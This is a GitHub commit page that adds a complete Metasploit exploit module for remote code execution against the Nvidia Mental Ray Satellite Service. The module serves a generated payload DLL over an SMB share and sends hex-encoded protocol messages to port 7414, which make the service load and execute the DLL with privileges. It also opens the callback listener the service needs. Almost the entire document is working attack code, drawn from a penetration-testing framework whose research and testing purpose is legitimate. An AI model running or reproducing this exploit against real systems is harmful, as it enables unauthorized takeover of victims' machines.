Skip to content

Commit c46c05f

Browse files
committed
Land rapid7#4884, @Meatballs1's module for Nvidia arbitrary dll injection
2 parents 2da1b6c + 7b4776e commit c46c05f

File tree

1 file changed

+175
-0
lines changed

1 file changed

+175
-0
lines changed
Lines changed: 175 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,175 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::Tcp
12+
include Msf::Exploit::Remote::SMB::Server::Share
13+
include Msf::Exploit::EXE
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Nvidia Mental Ray Satellite Service Arbitrary DLL Injection',
18+
'Description' => %q{
19+
The Nvidia Mental Ray Satellite Service listens for control commands on port 7414.
20+
When it receives the command to load a DLL (via an UNC path) it will try to
21+
connect back to the host on port 7514. If a TCP connection is successful it will
22+
then attempt to load the DLL.
23+
24+
Tested on Win7 x64 against v3.11.1
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'Luigi Auriemma', # Discovery
30+
'Donato Ferrante', # Discovery
31+
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
32+
],
33+
'References' =>
34+
[
35+
[ 'URL', 'http://revuln.com/files/ReVuln_NVIDIA_mental_ray.pdf' ]
36+
],
37+
'Stance' => Msf::Exploit::Stance::Aggressive,
38+
'Platform' => 'win',
39+
'Targets' =>
40+
[
41+
[ 'Windows x64', { 'Arch' => [ ARCH_X86_64 ] } ]
42+
],
43+
'Privileged' => true,
44+
'DisclosureDate' => 'Dec 10 2013',
45+
'DefaultTarget' => 0))
46+
47+
register_options([
48+
Opt::RPORT(7414),
49+
OptInt.new('LISTEN_PORT', [ true, 'The port to catch the return connection on', 7514]),
50+
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
51+
], self.class)
52+
53+
deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME')
54+
end
55+
56+
def primer
57+
self.file_contents = generate_payload_dll
58+
print_status("File available on #{unc}...")
59+
60+
print_status("Trying to execute remote DLL...")
61+
send_exploit
62+
end
63+
64+
def setup
65+
super
66+
67+
# These lengths are required, although we specify the UNC path
68+
# length in the exploit, the header probably has another length
69+
# value we don't adjust.
70+
self.file_name = "#{Rex::Text.rand_text_alpha(7)}.dll"
71+
self.share = Rex::Text.rand_text_alpha(5)
72+
end
73+
74+
def exploit
75+
begin
76+
Timeout.timeout(datastore['SMB_DELAY']) { super }
77+
rescue Timeout::Error
78+
# do nothing... just finish exploit and stop smb server...
79+
end
80+
end
81+
82+
def send_exploit
83+
# No idea what most of this hello is...
84+
hello = "6c72696d3030303030203030303031203136333932203037353134203030303031203039303936203030303030207261796d7"
85+
hello << "36734302d332e31312e312e345f5f5f5f5f5f5f5f5f5f5f5f0020007c5241593331317c53554231000100000000e90300000"
86+
hello << "0000000ffffffffffffffff1807000000000000dc10d7fdfe0700003018a40500000000e73654fffe070000c0afcd0000000"
87+
hello << "000ffffffffffffffffffffffffffffffff18070000000000007014a70100000000763754fffe0700000000000000000000f"
88+
hello << "035ae01000000003036ae0100000000da2152fffe0700003036ae0100000000a33754fffe070000000000000000000000000"
89+
hello << "00000000000ffffffffffffffffffffffffffffffff3036ae0100000000c40e53fffe0700007014a70100000000180700000"
90+
hello << "0000000000000000000000000000000000000000000000000000000020000000000000001000000000000005035440400000"
91+
hello << "0008013a7010000000090b3cd00000000001807000000000000b929d80300000000000000000000000018070000000000009"
92+
hello << "0b3cd000000000010cda701000000000000000000000000010100000000000000b3cd0000000000060000000000000066000"
93+
hello << "200000000000000020000000a0008000000a01a0fe73d00cf118ca300804034ae01000000000100000000000000000000000"
94+
hello << "0000000030000000a000000"
95+
96+
hello = Rex::Text.hex_to_raw(hello)
97+
98+
# Start of command - again no idea what this is...
99+
load_dll = Rex::Text.hex_to_raw("4ed32cb1740500000000000001130013")
100+
101+
# Length of path string including null byte
102+
load_dll << [unc.length + 1].pack('V')
103+
104+
# Data type?
105+
load_dll << [2].pack('V')
106+
107+
# Assembly Load?
108+
load_dll << "AL"
109+
load_dll << unc << "\x00"
110+
111+
# Some padding at the end...
112+
load_dll << rand_text_alpha(1386 - unc.length)
113+
114+
# We have to start a second listening port although we dont actually care about
115+
# handling client connections. It appears as long as the service can make a
116+
# connection its happy and will move onto the DLL loading
117+
create_listen_port
118+
vprint_status("Connecting to target and sending commands")
119+
connect
120+
sock.put(hello)
121+
sock.put(load_dll)
122+
print_status("Instructed the service to load #{unc}...")
123+
end
124+
125+
def create_listen_port
126+
port = datastore['LISTEN_PORT']
127+
128+
comm = datastore['ListenerComm']
129+
if comm == "local"
130+
comm = ::Rex::Socket::Comm::Local
131+
else
132+
comm = nil
133+
end
134+
135+
@listener = Rex::Socket::TcpServer.create(
136+
'LocalHost' => datastore['SRVHOST'],
137+
'LocalPort' => port,
138+
'Comm' => comm,
139+
'Context' => {
140+
'Msf' => framework,
141+
'MsfExploit' => self
142+
}
143+
)
144+
145+
# Register callbacks
146+
@listener.on_client_connect_proc = proc { |cli|
147+
add_socket(cli)
148+
begin
149+
print_status("#{cli.peerhost.ljust(16)} #{shortname} - Connected to Listener on #{port}...")
150+
ensure
151+
# Need to close the socket for the SMB request to be
152+
# initiated...
153+
remove_socket(cli)
154+
end
155+
}
156+
157+
@listener.start
158+
vprint_status("Started listening on TCP port #{port}")
159+
end
160+
161+
def cleanup
162+
super
163+
return unless @listener
164+
165+
begin
166+
@listener.deref if @listener.is_a?(Rex::Service)
167+
if @listener.is_a?(Rex::Socket)
168+
@listener.close
169+
@listener.stop
170+
end
171+
@listener = nil
172+
rescue ::Exception
173+
end
174+
end
175+
end

0 commit comments

Comments
 (0)